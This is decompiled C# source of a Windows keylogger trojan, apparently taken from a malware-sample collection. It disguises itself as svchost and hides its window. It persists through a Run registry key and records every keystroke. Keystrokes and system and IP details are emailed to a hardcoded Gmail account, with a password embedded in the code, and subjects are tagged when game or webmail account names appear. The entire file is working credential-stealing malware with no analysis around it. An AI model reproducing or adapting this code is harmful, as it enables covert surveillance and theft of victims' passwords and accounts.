// Decompiled with JetBrains decompiler // Type: svchost.Form1 // Assembly: svchost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: 6DDBD699-C351-46D2-B577-5A47AADA2B4A // Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.Win32.Fsysna.aosz-f36b3708132e2fa5f4ec88bd5083bea5f9eec00306e2cfb2271ed154a4173bfb.exe using Microsoft.VisualBasic; using Microsoft.VisualBasic.CompilerServices; using svchost.My; using System; using System.Collections.Generic; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.Net; using System.Net.Mail; using System.Net.Sockets; using System.Runtime.CompilerServices; using System.Runtime.InteropServices; using System.Windows.Forms; namespace svchost { [DesignerGenerated] public class Form1 : Form { private static List __ENCList = new List(); private IContainer components; [AccessedThroughProperty("Label1")] private Label _Label1; [AccessedThroughProperty("Label2")] private Label _Label2; [AccessedThroughProperty("Label3")] private Label _Label3; [AccessedThroughProperty("Label4")] private Label _Label4; [AccessedThroughProperty("Timer1")] private System.Windows.Forms.Timer _Timer1; [AccessedThroughProperty("Timer2")] private System.Windows.Forms.Timer _Timer2; [AccessedThroughProperty("Timer4")] private System.Windows.Forms.Timer _Timer4; [AccessedThroughProperty("TextBox1")] private TextBox _TextBox1; [AccessedThroughProperty("TextBox2")] private TextBox _TextBox2; [AccessedThroughProperty("TextBox3")] private TextBox _TextBox3; [AccessedThroughProperty("TextBox4")] private TextBox _TextBox4; private int result; private IPHostEntry ip; private WebClient webclient; private string externalip; private string internalip; private MailMessage emailer; private SmtpClient smtp; [DebuggerNonUserCode] static Form1() { } public Form1() { this.Load += new EventHandler(this.Form1_Load); Form1.__ENCAddToList((object) this); this.ip = Dns.GetHostEntry(Dns.GetHostName()); this.webclient = new WebClient(); this.emailer = new MailMessage(); this.smtp = new SmtpClient("smtp.gmail.com"); this.InitializeComponent(); } [DebuggerNonUserCode] private static void __ENCAddToList(object value) { lock (Form1.__ENCList) { if (Form1.__ENCList.Count == Form1.__ENCList.Capacity) { int index1 = 0; int num = checked (Form1.__ENCList.Count - 1); int index2 = 0; while (index2 <= num) { if (Form1.__ENCList[index2].IsAlive) { if (index2 != index1) Form1.__ENCList[index1] = Form1.__ENCList[index2]; checked { ++index1; } } checked { ++index2; } } Form1.__ENCList.RemoveRange(index1, checked (Form1.__ENCList.Count - index1)); Form1.__ENCList.Capacity = Form1.__ENCList.Count; } Form1.__ENCList.Add(new WeakReference(RuntimeHelpers.GetObjectValue(value))); } } [DebuggerNonUserCode] protected override void Dispose(bool disposing) { try { if (!disposing || this.components == null) return; this.components.Dispose(); } finally { base.Dispose(disposing); } } [DebuggerStepThrough] private void InitializeComponent() { this.components = (IContainer) new System.ComponentModel.Container(); this.Label1 = new Label(); this.Label2 = new Label(); this.Label3 = new Label(); this.Label4 = new Label(); this.Timer1 = new System.Windows.Forms.Timer(this.components); this.Timer2 = new System.Windows.Forms.Timer(this.components); this.Timer4 = new System.Windows.Forms.Timer(this.components); this.TextBox1 = new TextBox(); this.TextBox2 = new TextBox(); this.TextBox3 = new TextBox(); this.TextBox4 = new TextBox(); this.SuspendLayout(); this.Label1.AutoSize = true; Label label1_1 = this.Label1; Point point1 = new Point(265, 16); Point point2 = point1; label1_1.Location = point2; this.Label1.Name = "Label1"; Label label1_2 = this.Label1; Size size1 = new Size(103, 13); Size size2 = size1; label1_2.Size = size2; this.Label1.TabIndex = 0; this.Label1.Text = "Rete non disponibile"; this.Label1.Visible = false; this.Label2.AutoSize = true; Label label2_1 = this.Label2; point1 = new Point(265, 52); Point point3 = point1; label2_1.Location = point3; this.Label2.Name = "Label2"; Label label2_2 = this.Label2; size1 = new Size(103, 13); Size size3 = size1; label2_2.Size = size3; this.Label2.TabIndex = 1; this.Label2.Text = "Rete non disponibile"; this.Label2.Visible = false; this.Label3.AutoSize = true; Label label3_1 = this.Label3; point1 = new Point(12, 85); Point point4 = point1; label3_1.Location = point4; this.Label3.Name = "Label3"; Label label3_2 = this.Label3; size1 = new Size(128, 13); Size size4 = size1; label3_2.Size = size4; this.Label3.TabIndex = 2; this.Label3.Text = "anonymogtx2@gmail.com"; this.Label3.Visible = false; this.Label4.AutoSize = true; Label label4_1 = this.Label4; point1 = new Point(75, 109); Point point5 = point1; label4_1.Location = point5; this.Label4.Name = "Label4"; Label label4_2 = this.Label4; size1 = new Size(119, 13); Size size5 = size1; label4_2.Size = size5; this.Label4.TabIndex = 3; this.Label4.Text = "17/2/95741085209630"; this.Label4.Visible = false; this.Timer1.Enabled = true; this.Timer1.Interval = 900000; this.Timer2.Enabled = true; this.Timer2.Interval = 1; this.Timer4.Enabled = true; this.Timer4.Interval = 15000; TextBox textBox1_1 = this.TextBox1; point1 = new Point(45, 190); Point point6 = point1; textBox1_1.Location = point6; this.TextBox1.Name = "TextBox1"; TextBox textBox1_2 = this.TextBox1; size1 = new Size(100, 20); Size size6 = size1; textBox1_2.Size = size6; this.TextBox1.TabIndex = 4; this.TextBox1.Visible = false; TextBox textBox2_1 = this.TextBox2; point1 = new Point(138, 52); Point point7 = point1; textBox2_1.Location = point7; this.TextBox2.Name = "TextBox2"; TextBox textBox2_2 = this.TextBox2; size1 = new Size(100, 20); Size size7 = size1; textBox2_2.Size = size7; this.TextBox2.TabIndex = 5; this.TextBox2.Visible = false; TextBox textBox3_1 = this.TextBox3; point1 = new Point(173, 102); Point point8 = point1; textBox3_1.Location = point8; this.TextBox3.Name = "TextBox3"; TextBox textBox3_2 = this.TextBox3; size1 = new Size(100, 20); Size size8 = size1; textBox3_2.Size = size8; this.TextBox3.TabIndex = 6; this.TextBox3.Visible = false; TextBox textBox4_1 = this.TextBox4; point1 = new Point(217, 190); Point point9 = point1; textBox4_1.Location = point9; this.TextBox4.Name = "TextBox4"; TextBox textBox4_2 = this.TextBox4; size1 = new Size(100, 20); Size size9 = size1; textBox4_2.Size = size9; this.TextBox4.TabIndex = 7; this.TextBox4.Visible = false; this.AutoScaleDimensions = new SizeF(6f, 13f); this.AutoScaleMode = AutoScaleMode.Font; size1 = new Size(391, 236); this.ClientSize = size1; this.Controls.Add((Control) this.TextBox4); this.Controls.Add((Control) this.TextBox3); this.Controls.Add((Control) this.TextBox2); this.Controls.Add((Control) this.TextBox1); this.Controls.Add((Control) this.Label4); this.Controls.Add((Control) this.Label3); this.Controls.Add((Control) this.Label2); this.Controls.Add((Control) this.Label1); this.FormBorderStyle = FormBorderStyle.None; this.MaximizeBox = false; this.Name = nameof (Form1); this.Opacity = 0.0; this.ShowIcon = false; this.ShowInTaskbar = false; this.Text = nameof (Form1); this.ResumeLayout(false); this.PerformLayout(); } internal virtual Label Label1 { [DebuggerNonUserCode] get => this._Label1; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label1 = value; } internal virtual Label Label2 { [DebuggerNonUserCode] get => this._Label2; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label2 = value; } internal virtual Label Label3 { [DebuggerNonUserCode] get => this._Label3; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label3 = value; } internal virtual Label Label4 { [DebuggerNonUserCode] get => this._Label4; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label4 = value; } internal virtual System.Windows.Forms.Timer Timer1 { [DebuggerNonUserCode] get => this._Timer1; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set { EventHandler eventHandler = new EventHandler(this.Timer1_Tick); if (this._Timer1 != null) this._Timer1.Tick -= eventHandler; this._Timer1 = value; if (this._Timer1 == null) return; this._Timer1.Tick += eventHandler; } } internal virtual System.Windows.Forms.Timer Timer2 { [DebuggerNonUserCode] get => this._Timer2; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set { EventHandler eventHandler = new EventHandler(this.Timer2_Tick); if (this._Timer2 != null) this._Timer2.Tick -= eventHandler; this._Timer2 = value; if (this._Timer2 == null) return; this._Timer2.Tick += eventHandler; } } internal virtual System.Windows.Forms.Timer Timer4 { [DebuggerNonUserCode] get => this._Timer4; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set { EventHandler eventHandler = new EventHandler(this.Timer4_Tick); if (this._Timer4 != null) this._Timer4.Tick -= eventHandler; this._Timer4 = value; if (this._Timer4 == null) return; this._Timer4.Tick += eventHandler; } } internal virtual TextBox TextBox1 { [DebuggerNonUserCode] get => this._TextBox1; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox1 = value; } internal virtual TextBox TextBox2 { [DebuggerNonUserCode] get => this._TextBox2; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox2 = value; } internal virtual TextBox TextBox3 { [DebuggerNonUserCode] get => this._TextBox3; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox3 = value; } internal virtual TextBox TextBox4 { [DebuggerNonUserCode] get => this._TextBox4; [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._TextBox4 = value; } [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] private static extern int GetAsyncKeyState(long vKey); [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] private static extern int GetKeyState(long nVirtKey); public bool GetCapslock() => (Form1.GetKeyState(20L) & 1) != 0; public bool GetShift() => Form1.GetAsyncKeyState(16L) != 0; private void Form1_Load(object sender, EventArgs e) { label_1: int num1; int num2; try { ProjectData.ClearProjectError(); num1 = -2; label_2: int num3 = 2; this.Opacity = 0.0; label_3: num3 = 3; this.ShowInTaskbar = false; label_4: num3 = 4; this.ShowIcon = false; label_5: num3 = 5; this.Visible = false; label_6: num3 = 6; this.Hide(); label_7: num3 = 7; if (System.IO.File.Exists("C:\\Windows\\deepolis_hack.exe")) goto label_11; label_8: num3 = 9; label_9: num3 = 10; System.IO.File.Delete("C:\\Windows\\svchost.exe"); label_10: num3 = 11; System.IO.File.Move(Application.ExecutablePath, "C:\\Windows\\deepolis_hack.exe"); label_11: label_12: num3 = 13; MyProject.Computer.Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "deepolis_hack.exe", (object) Application.ExecutablePath); goto label_19; label_14: num2 = num3; switch (num1 > -2 ? num1 : 1) { case 1: int num4 = num2 + 1; num2 = 0; switch (num4) { case 1: goto label_1; case 2: goto label_2; case 3: goto label_3; case 4: goto label_4; case 5: goto label_5; case 6: goto label_6; case 7: goto label_7; case 8: case 12: goto label_11; case 9: goto label_8; case 10: goto label_9; case 11: goto label_10; case 13: goto label_12; case 14: goto label_19; } break; } } catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) { ProjectData.SetProjectError(ex); goto label_14; } throw ProjectData.CreateProjectError(-2146828237); label_19: if (num2 == 0) return; ProjectData.ClearProjectError(); } private void Timer2_Tick(object sender, EventArgs e) { int num1 = 1; do { this.result = 0; this.result = Form1.GetAsyncKeyState((long) num1); if (this.result == -32767) { if (!this.GetCapslock() & this.GetShift()) { switch (num1) { case 1: this.TextBox1.Text += " [LMB] "; break; case 2: this.TextBox1.Text += " [RMB] "; break; case 8: this.TextBox1.Text += " [Del] "; break; case 9: this.TextBox1.Text += " [Tab] \r\n"; break; case 13: this.TextBox1.Text += " [Invio] \r\n"; break; case 17: this.TextBox1.Text += " [Ctrl] "; break; case 18: this.TextBox1.Text += " [Alt] "; break; case 32: this.TextBox1.Text += " "; break; case 46: this.TextBox1.Text += " [Del] "; break; case 48: this.TextBox1.Text += ")"; break; case 49: this.TextBox1.Text += "!"; break; case 51: this.TextBox1.Text += "#"; break; case 52: this.TextBox1.Text += "$"; break; case 53: this.TextBox1.Text += "%"; break; case 54: this.TextBox1.Text += "^"; break; case 55: this.TextBox1.Text += "&"; break; case 56: this.TextBox1.Text += "*"; break; case 57: this.TextBox1.Text += "("; break; case 64: case 65: case 66: case 67: case 68: case 69: case 70: case 71: case 72: case 73: case 74: case 75: case 76: case 77: case 78: case 79: case 80: case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: case 90: this.TextBox1.Text += Strings.Chr(num1).ToString().ToLower(); break; case 97: case 98: case 99: case 100: case 101: case 102: case 103: case 104: case 105: case 106: case 107: case 108: case 109: case 110: case 111: case 112: case 113: case 114: case 115: case 116: case 117: case 118: case 119: case 120: case 121: case 122: this.TextBox1.Text += Strings.Chr(num1).ToString().ToLower(); break; case 186: this.TextBox1.Text += "é"; break; case 187: this.TextBox1.Text += "+"; break; case 188: this.TextBox1.Text += "<"; break; case 189: this.TextBox1.Text += "_"; break; case 190: this.TextBox1.Text += ">"; break; case 191: this.TextBox1.Text += "?"; break; case 192: this.TextBox1.Text += "~"; break; case 219: this.TextBox1.Text += "?"; break; case 220: this.TextBox1.Text += "|"; break; case 221: this.TextBox1.Text += "^"; break; case 222: this.TextBox1.Text += "\""; break; } } if (this.GetCapslock() & !this.GetShift()) { int num2 = num1; switch (num2) { case 1: this.TextBox1.Text += " [LMB] "; goto case 91; case 2: this.TextBox1.Text += " [RMB] "; goto case 91; case 91: label_54: break; default: if (num2 >= 64 && num2 <= 90) { this.TextBox1.Text += Conversions.ToString(Strings.Chr(num1)); goto case 91; } else if (num2 >= 97 && num2 <= 122) { this.TextBox1.Text += Conversions.ToString(Strings.Chr(num1)); goto case 91; } else if (num2 == 32) { this.TextBox1.Text += " "; goto case 91; } else if (num2 >= 48 && num2 <= 57) { this.TextBox1.Text += Conversions.ToString(Strings.Chr(num1)); goto case 91; } else { switch (num2) { case 8: this.TextBox1.Text += " [Del] "; goto label_54; case 16: goto label_54; case 46: this.TextBox1.Text += " [Del] "; goto label_54; case 190: this.TextBox1.Text += "."; goto label_54; default: if (num2 < 160 || num2 > 165) goto label_54; else goto label_54; } } } } if (!this.GetCapslock() & !this.GetShift()) { switch (num1) { case 1: this.TextBox1.Text += " [LMB] "; goto case 16; case 2: this.TextBox1.Text += " [RMB] "; goto case 16; case 8: this.TextBox1.Text += " [Del] "; goto case 16; case 9: this.TextBox1.Text += " [Tab] \r\n"; goto case 16; case 13: this.TextBox1.Text += " [Invio] \r\n"; goto case 16; case 16: case 20: case 37: case 38: case 39: case 40: case 91: case 160: case 161: case 162: case 163: case 164: case 165: break; case 17: this.TextBox1.Text += " [Ctrl] "; goto case 16; case 18: this.TextBox1.Text += " [Alt] "; goto case 16; case 32: this.TextBox1.Text += " "; goto case 16; case 46: this.TextBox1.Text += " [Del] "; goto case 16; case 48: case 49: case 50: case 51: case 52: case 53: case 54: case 55: case 56: case 57: this.TextBox1.Text += Conversions.ToString(Strings.Chr(num1)); goto case 16; case 64: case 65: case 66: case 67: case 68: case 69: case 70: case 71: case 72: case 73: case 74: case 75: case 76: case 77: case 78: case 79: case 80: case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: case 90: this.TextBox1.Text += Strings.Chr(num1).ToString().ToLower(); goto case 16; case 97: case 98: case 99: case 100: case 101: case 102: case 103: case 104: case 105: case 106: case 107: case 108: case 109: case 110: case 111: case 112: case 113: case 114: case 115: case 116: case 117: case 118: case 119: case 120: case 121: case 122: this.TextBox1.Text += Strings.Chr(num1).ToString().ToLower(); goto case 16; case 186: this.TextBox1.Text += "è"; goto case 16; case 187: this.TextBox1.Text += "+"; goto case 16; case 188: this.TextBox1.Text += ","; goto case 16; case 189: this.TextBox1.Text += "-"; goto case 16; case 190: this.TextBox1.Text += "."; goto case 16; case 191: this.TextBox1.Text += "ù"; goto case 16; case 192: this.TextBox1.Text += "ò"; goto case 16; case 219: this.TextBox1.Text += "'"; goto case 16; case 220: this.TextBox1.Text += "\\"; goto case 16; case 221: this.TextBox1.Text += "ì"; goto case 16; case 222: this.TextBox1.Text += "à"; goto case 16; default: goto case 16; } } } checked { ++num1; } } while (num1 <= 225); } private void Timer1_Tick(object sender, EventArgs e) { label_1: int num1; int num2; try { ProjectData.ClearProjectError(); num1 = -2; label_2: int num3 = 2; IPAddress[] addressList = this.ip.AddressList; int index = 0; goto label_10; label_4: num3 = 3; IPAddress ipAddress; if (ipAddress.AddressFamily != AddressFamily.InterNetwork) goto label_6; label_5: num3 = 4; this.Label1.Text = ipAddress.ToString(); label_6: label_7: num3 = 6; this.externalip = this.webclient.DownloadString("http://automation.whatismyip.com/n09230945.asp"); label_8: num3 = 7; this.Label2.Text = this.externalip.ToString(); checked { ++index; } label_9: num3 = 8; label_10: if (index < addressList.Length) { ipAddress = addressList[index]; goto label_4; } label_11: num3 = 9; this.TextBox2.Text = this.TextBox2.Text + "Nome Computer: " + MyProject.Computer.Name + "\r\n"; label_12: num3 = 10; this.TextBox2.Text = this.TextBox2.Text + "Nome Utente: " + MyProject.User.Name + "\r\n\r\n"; label_13: num3 = 11; this.TextBox2.Text = this.TextBox2.Text + "IP Interno: " + this.Label1.Text + "\r\n"; label_14: num3 = 12; this.TextBox2.Text = this.TextBox2.Text + "IP Esterno: " + this.Label2.Text + "\r\n\r\n"; label_15: num3 = 13; this.TextBox2.Text = this.TextBox2.Text + "Lingua utente: " + MyProject.Computer.Info.InstalledUICulture.ToString() + "\r\n"; label_16: num3 = 14; this.TextBox2.Text = this.TextBox2.Text + "Sistema Operativo: " + MyProject.Computer.Info.OSFullName + "\r\n\r\n"; label_17: num3 = 15; this.TextBox2.Text = this.TextBox2.Text + "Memoria fisica libera (RAM): " + MyProject.Computer.Info.AvailablePhysicalMemory.ToString() + " byte\r\n"; label_18: num3 = 16; this.TextBox2.Text = this.TextBox2.Text + "Memoria fisica totale (RAM): " + MyProject.Computer.Info.TotalPhysicalMemory.ToString() + " byte\r\n"; label_19: num3 = 17; this.TextBox2.Text = this.TextBox2.Text + "Memoria virtuale libera: " + MyProject.Computer.Info.AvailableVirtualMemory.ToString() + " byte\r\n"; label_20: num3 = 18; this.TextBox2.Text = this.TextBox2.Text + "Memoria virtuale totale: " + MyProject.Computer.Info.TotalVirtualMemory.ToString() + " byte\r\n"; label_21: num3 = 19; this.emailer.From = new MailAddress(this.Label3.Text); label_22: num3 = 20; this.emailer.To.Add(this.Label3.Text); label_23: num3 = 21; this.emailer.Body = this.TextBox1.Text + "\r\n\r\n\r\n\r\n\r\n\r\n\r\n" + this.TextBox2.Text; label_24: num3 = 22; if (!(this.TextBox1.Text.Contains("metin2") | this.TextBox1.Text.Contains("metin") | this.TextBox1.Text.Contains("mt2"))) goto label_26; label_25: num3 = 23; this.emailer.Subject = "[METIN2] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_26: num3 = 25; if (!(this.TextBox1.Text.Contains("warrock") | this.TextBox1.Text.Contains("war rock"))) goto label_28; label_27: num3 = 26; this.emailer.Subject = "[WARROCK] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_28: num3 = 28; if (!(this.TextBox1.Text.Contains("combat") | this.TextBox1.Text.Contains("combat arms") | this.TextBox1.Text.Contains("caeu") | this.TextBox1.Text.Contains("ca eu"))) goto label_30; label_29: num3 = 29; this.emailer.Subject = "[COMBAT ARMS] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_30: num3 = 31; if (!(this.TextBox1.Text.Contains("seafight") | this.TextBox1.Text.Contains("sea fight"))) goto label_32; label_31: num3 = 32; this.emailer.Subject = "[SEAFIGHT] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_32: num3 = 34; if (!(this.TextBox1.Text.Contains("hotmail") | this.TextBox1.Text.Contains("live.it") | this.TextBox1.Text.Contains("live.com") | this.TextBox1.Text.Contains("hotmail.it") | this.TextBox1.Text.Contains("hotmail.com") | this.TextBox1.Text.Contains("msn") | this.TextBox1.Text.Contains("msn.it"))) goto label_34; label_33: num3 = 35; this.emailer.Subject = "[HOTMAIL] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_34: num3 = 37; if (!(this.TextBox1.Text.Contains("libero.it") | this.TextBox1.Text.Contains("libero.com"))) goto label_36; label_35: num3 = 38; this.emailer.Subject = "[LIBERO] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_36: num3 = 40; if (!(this.TextBox1.Text.Contains("gmail") | this.TextBox1.Text.Contains("google mail") | this.TextBox1.Text.Contains("gmail.com"))) goto label_38; label_37: num3 = 41; this.emailer.Subject = "[GMAIL] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_38: num3 = 43; if (!(this.TextBox1.Text.Contains("yahoo") | this.TextBox1.Text.Contains("yahoo.it") | this.TextBox1.Text.Contains("yahoo.com"))) goto label_40; label_39: num3 = 44; this.emailer.Subject = "[YAHOO] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_40: num3 = 46; if (!(this.TextBox1.Text.Contains("tiscali") | this.TextBox1.Text.Contains("tiscali.it"))) goto label_42; label_41: num3 = 47; this.emailer.Subject = "[TISCALI] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_42: num3 = 49; if (!(this.TextBox1.Text.Contains("facebook") | this.TextBox1.Text.Contains("facebook.com"))) goto label_44; label_43: num3 = 50; this.emailer.Subject = "[FACEBOOK] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_44: num3 = 52; if (!(this.TextBox1.Text.Contains("darkorbit") | this.TextBox1.Text.Contains("dark orbit"))) goto label_46; label_45: num3 = 53; this.emailer.Subject = "[DARK ORBIT] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_46: num3 = 55; if (!(this.TextBox1.Text.Contains("bigpoint") | this.TextBox1.Text.Contains("big point"))) goto label_48; label_47: num3 = 56; this.emailer.Subject = "[BIGPOINT] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_48: num3 = 58; if (!(this.TextBox1.Text.Contains("gameforge") | this.TextBox1.Text.Contains("game forge"))) goto label_50; label_49: num3 = 59; this.emailer.Subject = "[GAMEFORGE] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_50: num3 = 61; if (!this.TextBox1.Text.Contains("world of warcraft")) goto label_52; label_51: num3 = 62; this.emailer.Subject = "[WORLD OF WARCRAFT] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_52: num3 = 64; if (!this.TextBox1.Text.Contains("@")) goto label_54; label_53: num3 = 65; this.emailer.Subject = "[E-MAIL] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_54: num3 = 67; if (!this.TextBox1.Text.Contains("skype")) goto label_56; label_55: num3 = 68; this.emailer.Subject = "[SKYPE] Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; goto label_58; label_56: num3 = 70; label_57: num3 = 71; this.emailer.Subject = "Dati KeyLogger - " + this.Label1.Text + " / " + this.Label2.Text; label_58: label_59: num3 = 73; this.smtp.Port = 587; label_60: num3 = 74; this.smtp.EnableSsl = true; label_61: num3 = 75; this.smtp.Credentials = (ICredentialsByHost) new NetworkCredential(this.Label3.Text, this.Label4.Text); label_62: num3 = 76; this.smtp.Send(this.emailer); label_63: num3 = 77; this.TextBox1.Text = ""; label_64: num3 = 78; this.TextBox2.Text = ""; goto label_71; label_66: num2 = num3; switch (num1 > -2 ? num1 : 1) { case 1: int num4 = num2 + 1; num2 = 0; switch (num4) { case 1: goto label_1; case 2: goto label_2; case 3: goto label_4; case 4: goto label_5; case 5: goto label_6; case 6: goto label_7; case 7: goto label_8; case 8: goto label_9; case 9: goto label_11; case 10: goto label_12; case 11: goto label_13; case 12: goto label_14; case 13: goto label_15; case 14: goto label_16; case 15: goto label_17; case 16: goto label_18; case 17: goto label_19; case 18: goto label_20; case 19: goto label_21; case 20: goto label_22; case 21: goto label_23; case 22: goto label_24; case 23: goto label_25; case 24: case 27: case 30: case 33: case 36: case 39: case 42: case 45: case 48: case 51: case 54: case 57: case 60: case 63: case 66: case 69: case 72: goto label_58; case 25: goto label_26; case 26: goto label_27; case 28: goto label_28; case 29: goto label_29; case 31: goto label_30; case 32: goto label_31; case 34: goto label_32; case 35: goto label_33; case 37: goto label_34; case 38: goto label_35; case 40: goto label_36; case 41: goto label_37; case 43: goto label_38; case 44: goto label_39; case 46: goto label_40; case 47: goto label_41; case 49: goto label_42; case 50: goto label_43; case 52: goto label_44; case 53: goto label_45; case 55: goto label_46; case 56: goto label_47; case 58: goto label_48; case 59: goto label_49; case 61: goto label_50; case 62: goto label_51; case 64: goto label_52; case 65: goto label_53; case 67: goto label_54; case 68: goto label_55; case 70: goto label_56; case 71: goto label_57; case 73: goto label_59; case 74: goto label_60; case 75: goto label_61; case 76: goto label_62; case 77: goto label_63; case 78: goto label_64; case 79: goto label_71; } break; } } catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) { ProjectData.SetProjectError(ex); goto label_66; } throw ProjectData.CreateProjectError(-2146828237); label_71: if (num2 == 0) return; ProjectData.ClearProjectError(); } private void Timer4_Tick(object sender, EventArgs e) { label_1: int num1; int num2; try { ProjectData.ClearProjectError(); num1 = -2; label_2: int num3 = 2; if (!System.IO.File.Exists("C:\\Windows\\svchost.txt")) goto label_4; label_3: num3 = 3; this.Timer4.Enabled = false; goto label_14; label_4: num3 = 5; label_5: num3 = 6; System.IO.File.Create("C:\\Windows\\svchost.txt"); label_6: num3 = 7; this.emailer.From = new MailAddress(this.Label3.Text); label_7: num3 = 8; this.emailer.To.Add(this.Label3.Text); label_8: num3 = 9; this.emailer.Body = "La vittima ha aperto il programma...\r\n\r\n\r\n\r\n\r\n\r\n\r\nNome Computer: " + MyProject.Computer.Name + "\r\nNome Utente: " + MyProject.User.Name + "\r\n\r\nIP Interno: " + this.Label1.Text + "\r\nIP Esterno: " + this.Label2.Text + "\r\n\r\nLingua utente: " + MyProject.Computer.Info.InstalledUICulture.ToString() + "\r\nSistema Operativo: " + MyProject.Computer.Info.OSFullName + "\r\n\r\nMemoria fisica libera (RAM): " + MyProject.Computer.Info.AvailablePhysicalMemory.ToString() + " byte\r\nMemoria fisica totale (RAM): " + MyProject.Computer.Info.TotalPhysicalMemory.ToString() + " byte\r\nMemoria virtuale libera: " + MyProject.Computer.Info.AvailableVirtualMemory.ToString() + " byte\r\nMemoria virtuale totale: " + MyProject.Computer.Info.TotalVirtualMemory.ToString() + " byte\r\n"; label_9: num3 = 10; this.emailer.Subject = "Apertura Keylogger - " + this.Label1.Text + " / " + this.Label2.Text; label_10: num3 = 11; this.smtp.Port = 587; label_11: num3 = 12; this.smtp.EnableSsl = true; label_12: num3 = 13; this.smtp.Credentials = (ICredentialsByHost) new NetworkCredential(this.Label3.Text, this.Label4.Text); label_13: num3 = 14; this.smtp.Send(this.emailer); label_14: label_15: num3 = 16; this.Timer4.Enabled = false; goto label_22; label_17: num2 = num3; switch (num1 > -2 ? num1 : 1) { case 1: int num4 = num2 + 1; num2 = 0; switch (num4) { case 1: goto label_1; case 2: goto label_2; case 3: goto label_3; case 4: case 15: goto label_14; case 5: goto label_4; case 6: goto label_5; case 7: goto label_6; case 8: goto label_7; case 9: goto label_8; case 10: goto label_9; case 11: goto label_10; case 12: goto label_11; case 13: goto label_12; case 14: goto label_13; case 16: goto label_15; case 17: goto label_22; } break; } } catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0) { ProjectData.SetProjectError(ex); goto label_17; } throw ProjectData.CreateProjectError(-2146828237); label_22: if (num2 == 0) return; ProjectData.ClearProjectError(); } private void Timer3_Tick(object sender, EventArgs e) { } } }